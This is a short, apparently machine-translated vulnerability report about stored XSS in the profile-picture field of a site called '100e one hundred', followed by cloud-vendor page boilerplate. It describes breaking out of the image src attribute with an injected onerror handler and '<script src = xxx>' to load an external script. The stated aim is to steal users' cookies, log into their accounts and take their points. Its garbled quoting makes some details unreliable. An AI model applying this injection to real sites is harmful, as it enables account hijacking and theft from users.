100e one hundred storage type XSS

Source: Internet
Author: User

100e one hundred is prone to storage-type XSS. The test can successfully steal user account cookies and log on to it. If you steal points, you can exchange points for free. A little restriction, it is easy to break through, detailed description: 1. After the image address of the src attribute in the profile picture, insert "" = "" found "is not filtered, but the img label is gone, so the test can smoothly insert an onerror, but the onoad does not work. After inserting the code "onerror =" js Code 2 "after the image address, I analyzed the source code and found that the onload is not available because it is in front. The onerror is in the back and will be killed by the onerror we inserted. Therefore, when "" = "" is inserted at the beginning, the label is not filtered, but killed by the onerror of the original attribute. The following code is inserted: "onerror => <script src = xxx> <script> the original onerror is successfully killed, and <script> is inserted to call an external address. 3 because the src length is limited, it is not enough to directly use "onerror = js Code, however, the length of "onerror => <script src = xxx> <script> is sufficient. The following is the cookie that has been successfully stolen. you can log on to the system successfully.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.